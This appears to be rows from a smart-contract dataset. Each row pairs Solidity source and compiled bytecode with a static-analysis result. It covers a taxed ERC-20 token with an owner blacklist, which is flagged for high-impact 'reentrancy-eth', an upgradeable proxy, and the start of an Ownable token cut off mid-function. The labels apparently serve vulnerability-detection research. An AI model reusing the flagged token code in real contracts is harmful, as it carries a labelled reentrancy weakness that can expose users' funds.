uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a6101553660046116c4565b610419565b005b34801561016857600080fd5b50604080518082019091526009815268444f47454e20494e5560b81b60208201525b60405161019791906116e1565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb36600461175b565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b50678ac7230489e800005b604051908152602001610197565b34801561020157600080fd5b5061015a610210366004611787565b610481565b34801561022157600080fd5b506101c06102303660046117a0565b6104c4565b34801561024157600080fd5b5061015a6102503660046117e1565b61052d565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610578565b34801561029257600080fd5b506101e76102a13660046117e1565b6105ac565b3480156102b257600080fd5b5061015a6105ce565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b50604080518082019091526008815267444f47454e494e5560c01b602082015261018a565b34801561032057600080fd5b5061015a610642565b34801561033557600080fd5b506101c061034436600461175b565b610854565b34801561035557600080fd5b5061015a610364366004611814565b610861565b34801561037557600080fd5b5061015a6108f7565b34801561038a57600080fd5b5061015a610937565b34801561039f57600080fd5b5061015a6103ae366004611787565b610ae0565b3480156103bf57600080fd5b5061015a6103ce366004611787565b610b18565b3480156103df57600080fd5b506101e76103ee3660046118d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161044390611912565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610b50565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260040161044390611912565b6702c68af0bb1400008111156104c15760108190555b50565b60006104d1848484610c74565b610523843361051e85604051806060016040528060288152602001611ad8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa9565b610b50565b5060019392505050565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161044390611912565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161044390611912565b476104c181610fe3565b6001600160a01b03811660009081526002602052604081205461047b9061101d565b6000546001600160a01b031633146105f85760405162461bcd60e51b815260040161044390611912565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066c5760405162461bcd60e51b815260040161044390611912565b600f54600160a01b900460ff16156106c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f9190611947565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611947565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108319190611947565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610c74565b6000546001600160a01b0316331461088b5760405162461bcd60e51b815260040161044390611912565b60005b81518110156108f3576001600660008484815181106108af576108af611964565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108eb81611990565b91505061088e565b5050565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161044390611912565b600061092c306105ac565b90506104c1816110a1565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161044390611912565b600e546109819030906001600160a01b0316678ac7230489e80000610b50565b600e546001600160a01b031663f305d719473061099d816105ac565b6000806109b26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3f91906119ab565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c191906119d9565b6000546001600160a01b03163314610b0a5760405162461bcd60e51b815260040161044390611912565b600d8110156104c157600b55565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161044390611912565b600d8110156104c157600c55565b6001600160a01b038316610bb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610dc257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0457506001600160a01b03821660009081526005602052604090205460ff16155b15610f99576000600955600c54600a55600f546001600160a01b038481169116148015610e3f5750600e546001600160a01b03838116911614155b8015610e6457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e795750600f54600160b81b900460ff165b15610ea6576000610e89836105ac565b601054909150610e99838361121b565b1115610ea457600080fd5b505b600f546001600160a01b038381169116148015610ed15750600e546001600160a01b03848116911614155b8015610ef657506001600160a01b03831660009081526005602052604090205460ff16155b15610f07576000600955600b54600a555b6000610f12306105ac565b600f54909150600160a81b900460ff16158015610f3d5750600f546001600160a01b03858116911614155b8015610f525750600f54600160b01b900460ff165b15610f97576000610f646004836119f6565b9050610f708183611a18565b9150610f7b8161127a565b610f84826110a1565b478015610f9457610f9447610fe3565b50505b505b610fa48383836112b0565b505050565b60008184841115610fcd5760405162461bcd60e51b815260040161044391906116e1565b506000610fda8486611a18565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f3573d6000803e3d6000fd5b60006007548211156110845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061108e6112bb565b905061109a83826112de565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e9576110e9611964565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111669190611947565b8160018151811061117957611179611964565b6001600160a01b039283166020918202929092010152600e5461119f9130911684610b50565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d8908590600090869030904290600401611a2f565b600060405180830381600087803b1580156111f257600080fd5b505af1158015611206573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112288385611aa0565b90508381101561109a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b600f805460ff60a81b1916600160a81b17905580156112a0576112a03061dead83610c74565b50600f805460ff60a81b19169055565b610fa4838383611320565b60008060006112c8611417565b90925090506112d782826112de565b9250505090565b600061109a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611457565b60008060008060008061133287611485565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136490876114e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611393908661121b565b6001600160a01b0389166000908152600260205260409020556113b581611524565b6113bf848361156e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140491815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061143282826112de565b82101561144e57505060075492678ac7230489e8000092509050565b90939092509050565b600081836114785760405162461bcd60e51b815260040161044391906116e1565b506000610fda84866119f6565b60008060008060008060008060006114a28a600954600a54611592565b92509250925060006114b26112bb565b905060008060006114c58e8787876115e7565b919e509c509a509598509396509194505050505091939550919395565b600061109a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa9565b600061152e6112bb565b9050600061153c8383611637565b30600090815260026020526040902054909150611559908261121b565b30600090815260026020526040902055505050565b60075461157b90836114e2565b60075560085461158b908261121b565b6008555050565b60008080806115ac60646115a68989611637565b906112de565b905060006115bf60646115a68a89611637565b905060006115d7826115d18b866114e2565b906114e2565b9992985090965090945050505050565b60008080806115f68886611637565b905060006116048887611637565b905060006116128888611637565b90506000611624826115d186866114e2565b939b939a50919850919650505050505050565b6000826116465750600061047b565b60006116528385611ab8565b90508261165f85836119f6565b1461109a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80151581146104c157600080fd5b6000602082840312156116d657600080fd5b813561109a816116b6565b600060208083528351808285015260005b8181101561170e578581018301518582016040015282016116f2565b81811115611720576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c157600080fd5b803561175681611736565b919050565b6000806040838503121561176e57600080fd5b823561177981611736565b946020939093013593505050565b60006020828403121561179957600080fd5b5035919050565b6000806000606084860312156117b557600080fd5b83356117c081611736565b925060208401356117d081611736565b929592945050506040919091013590565b6000602082840312156117f357600080fd5b813561109a81611736565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561182757600080fd5b823567ffffffffffffffff8082111561183f57600080fd5b818501915085601f83011261185357600080fd5b813581811115611865576118656117fe565b8060051b604051601f19603f8301168101818110858211171561188a5761188a6117fe565b6040529182528482019250838101850191888311156118a857600080fd5b938501935b828510156118cd576118be8561174b565b845293850193928501926118ad565b98975050505050505050565b600080604083850312156118ec57600080fd5b82356118f781611736565b9150602083013561190781611736565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561195957600080fd5b815161109a81611736565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119a4576119a461197a565b5060010190565b6000806000606084860312156119c057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119eb57600080fd5b815161109a816116b6565b600082611a1357634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a2a57611a2a61197a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7f5784516001600160a01b031683529383019391830191600101611a5a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ab357611ab361197a565b500190565b6000816000190483118215151615611ad257611ad261197a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220487fa7f2bbec338a1650458481e3dbc7cc77db52cd988ba2ae47a3dda8a215e664736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,369 |
0x55bf8304c78ba6fe47fd251f37d7beb485f86d26
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f3780f16223a5574700f78d00cb9903900ce8f83c281ab385f15e145e6b90bf164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,370 |
0xc35d0837d49aa399022e133ba141b85d8809b137
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
